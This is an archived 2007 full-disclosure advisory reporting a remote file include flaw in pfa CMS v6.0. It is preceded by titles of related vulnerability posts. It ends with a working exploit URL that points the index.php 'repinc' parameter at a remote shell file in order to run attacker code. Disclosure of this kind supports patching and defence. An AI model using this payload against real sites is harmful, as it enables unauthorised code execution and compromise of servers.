Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Full-disclosure] Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability

[Full-disclosure] Advanced Guestbook version 2.4.2 Multiple XSS Attack Vulnerabilities

fipsCMS v2.1 Remote SQL injection Vulnerability

phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability

From:	ilkerKandemir_(at)_mynet.com <ilkerKandemir_(at)_mynet.com>
Date:	08.05.2007
Subject:	pfa CMS v6.0 (index.php repinc) Remote File Include Vulnerability

# pfa CMS v6.0 // AYYILDIZ.ORG Gururla Sunar ! => OZELHAREKAT

# Author: iLker Kandemir <ilkerkandemir@mynet.com>

# ScriptSite: http://pfa.netsliver.com/download_pfa

# Tnx: H0tturk,Ekin0x,Dumenci,Gencnesil,Gencturk,Str0ke

# Exploit: http://[site]/[pfa_path]/index.php?repinc=http://shell.txt?